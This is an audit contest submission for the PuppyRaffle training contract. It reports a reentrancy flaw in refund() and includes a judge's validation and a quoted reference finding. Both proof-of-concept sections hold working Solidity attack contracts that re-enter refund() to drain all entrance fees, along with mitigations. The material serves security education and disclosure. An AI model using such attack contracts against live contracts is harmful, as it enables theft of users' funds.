Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in `refund()` allows an attacker to drain all players' entrance fees

Summary

PuppyRaffle.refund() sends the entrance fee back to the player before clearing the player's slot in the players array. The transfer uses OpenZeppelin's Address.sendValue, which forwards all remaining gas via a low-level call. A player contract can therefore re-enter refund() from its receive() function and withdraw the entrance fee over and over until the contract is empty.

Vulnerability Details

In src/PuppyRaffle.sol (refund, lines 108–117):

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee); // external call, all gas forwarded
​
players[playerIndex] = address(0); // state cleared only AFTER the call
emit RaffleRefunded(playerAddress);
}

The checks-effects-interactions pattern is violated: the external call happens while players[playerIndex] still equals the attacker's address, so both require checks pass again on re-entry. sendValue is not transfer — it does not cap gas at 2300; OZ 3.4 Address.sendValue performs recipient.call{value: amount}("") with all remaining gas.

Impact

An attacker needs exactly one entry (1 × entranceFee, fully recoverable) to drain the entire contract balance — every other player's entrance fee. The maximum loss is the full pot of the round, not the amount shown in any single demonstration. No privileges or timing conditions are required; enterRaffle accepts contract addresses as players.

Proof of Concept

Foundry test (attacker enters as the 5th player with 1 ether, then drains all 5 ether):

contract RefundAttacker {
PuppyRaffle public raffle;
uint256 public entranceFee;
uint256 public myIndex;
​
constructor(address _raffle, uint256 _fee) {
raffle = PuppyRaffle(_raffle);
entranceFee = _fee;
}
​
function enter() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: entranceFee}(p);
myIndex = raffle.getActivePlayerIndex(address(this));
}
​
function attack() external {
raffle.refund(myIndex);
}
​
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(myIndex);
}
}
}
​
function test_refundReentrancyDrainsContract() public {
PuppyRaffle raffle = new PuppyRaffle(entranceFee, feeAddress, duration);
_enterFour(raffle); // 4 players × 1 ether
​
RefundAttacker attacker = new RefundAttacker(address(raffle), entranceFee);
vm.deal(address(attacker), entranceFee);
attacker.enter();
assertEq(address(raffle).balance, 5 ether);
​
attacker.attack();
​
assertEq(address(attacker).balance, 5 ether); // put in 1, took 5
assertEq(address(raffle).balance, 0);
}

Verified locally with forge test — the test passes and the raffle balance ends at 0.

Recommended Mitigation

Clear the player's slot before transferring the funds (restore CEI ordering), and/or add a reentrancy guard:

players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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